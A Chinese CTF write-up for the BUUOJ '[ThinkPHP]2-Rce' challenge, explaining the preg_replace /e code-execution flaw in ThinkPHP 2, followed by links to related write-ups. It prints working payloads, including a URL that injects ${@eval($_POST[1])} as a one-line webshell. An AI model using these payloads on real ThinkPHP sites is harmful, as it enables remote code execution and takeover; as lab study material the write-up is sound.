[ThinkPHP]2-Rce buuoj
[ThinkPHP]2-Rce

进来是这个页面

构造路径。

好,构造正确,但是服务器拦截了对该操作的访问

打开提示网站,看到关键信息

分析正则
老版本的正则可以用 ’@‘符号表示模式。以下正则是模式e
preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
看第一个括号,表示匹配任意字符串。并将变量向后引用到位置1
$depr 变量默认是'/'
$paths 变量是提交的url路径
看第二个括号,表示匹配除'/'以外的字符,再匹配一个字符 '/'。并将变量向后引用到位置2

所以,最后匹配后得到的内容就是
$var[任意字符串1] = 任意字符串2 + /
注意位置2用了双引号闭合,而双引号闭合是可以解析变量的。这就是漏洞所在
代码审计
由于tp2测试环境搭建麻烦,php版本也没有对于的xdebug。只能用docker环境, 然后看变量就将其输出到文件夹。
定位到漏洞代码位置,加上一行测试代码,查看正则后的$var变量

file_put_contents('/var/www/html/test.txt', print_r($var, true).'\n', FILE_APPEND | LOCK_EX);
一番docker简单替换文件后,只要我们带着路径访问就可以得到一个test.txt文件。

于是在'iam'的位置构造payload。因为这里用了双引号。
/index.php/Index/index/yes/${phpinfo()}

php一个特性。${a} = $a,如果a是一个变量,则会在双引号下会解释这个变量。如果花括号里面是代码,会将其运行。得到的结果当成变量名。由于phpinfo没有返回值。所以为yes对应的值为空。

phpinfo是会向屏幕输出,但没有返回值。或者说是返回空值。
至此漏洞就清晰明了了。
最后构造一句话payload,记得添加eval代码。不然只是接受你的参数,但无法执行
http://node4.buuoj.cn:27489/index.php/Index/index/yes/${@eval($_POST[1])}
用数字型一句话密码是因为字符串型要用引号,而目标有魔术引号转义

以为flag是个文件,找啊找。最后小丑竟是我自己!

[ThinkPHP]2-Rce buuoj的更多相关文章
- Thinkphp 缓存RCE
5.0.0<=ThinkPHP5<=5.0.10 . 漏洞利用条件: 1.基于tp5开发的代码中使用了Cache::set 进行缓存 2.在利用版本范围内 3.runtime目录可以 ...
- Thinkphp5 RCE总结
thinkphp5最出名的就是rce,我先总结rce,rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同,导致pa ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- thinkphp 5.1框架利用及rce分析
前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- ThinkPHP 5.0.24 反序列化RCE (Windows下EXP)
直接上exp吧,Windows下. <?php namespace think\process\pipes; class Windows { private $files = []; publi ...
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster
三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...
- thinkphp历史漏洞
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞 路由控制類RCE/think/App.php if (!preg_ ...
随机推荐
- 详解Nacos 配置中心客户端配置缓存动态更新的源码实现
Nacos 作为配置中心,当应用程序去访问Nacos动态获取配置源之后,会缓存到本地内存以及磁盘中. 由于Nacos作为动态配置中心,意味着后续配置变更之后需要让所有相关的客户端感知,并更新本地内存! ...
- 打靶笔记-04-vulnhub-Jangow
打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...
- ArcMap操作随记(2)
1.空间校正 变换-仿射 仅发生偏移 橡皮页变化 形状改变 变换-投影 旋转,改变角度 变换-相似 改变大小.形状不变 2.计算行列号 Int(([POINT_Y]-1273.143242)/30)+ ...
- python 程序小练习
print("Type integers,each followed by Enter; or just Enter to finish") total = 0 count = 0 ...
- 如何用 Redis 解决海量重复提交问题
前言 在实际的开发项目中,一个对外暴露的接口往往会面临很多次请求,我们来解释一下幂等的概念:任意多次执行所产生的影响均与一次执行的影响相同.按照这个含义,最终的含义就是 对数据库的影响只能是一次性的, ...
- RESTful API设计规范总结
RESTful 是目前最流行的 API 设计规范,用于 Web 数据接口的设计. 它的大原则容易把握,但是细节不容易做对.本文总结 RESTful 的设计细节,介绍如何设计出易于理解和使用的 API. ...
- 记录一次SQL函数和优化的问题
一.前言 上次在年前快要放假的时候记录的一篇安装SSL证书的内容,因为当时公司开始居家办公了,我也打算回个家 毕竟自己在苏州这半年一个人也是很想家的,所以就打算年过完来重新写博客.不巧的是,当时我2月 ...
- [转载]从phpinfo中能获取哪些敏感信息
phpinfo()想必的最熟悉的了,在搭建环境之后都会随后写一个 phpinfo()来测试环境是否正常,很多人测试完毕忘记删除就开始部署环境了,这就造成了一些敏感信息的泄漏.那么我们能从 phpinf ...
- python练习册 每天一个小程序 第0002题
1 #-*-coding:utf-8-*- 2 __author__ = 'Deen' 3 ''' 4 题目描述: 5 将 0001 题生成的 200 个激活码(或者优惠券)保存到 MySQL 关系型 ...
- Oracle :value too large for column "SCHEMA"."TABLE"."COLUMN" (actual: 519, maximum: 500)的解决方案
原因:我是使用 CREATE TABLE XXX AS subquery 进行创建的数据表,主要是将相关的数据聚合在一起,然后通过导出为SQL脚本文件,进行导入到新库中,导致部分INSERT INTO ...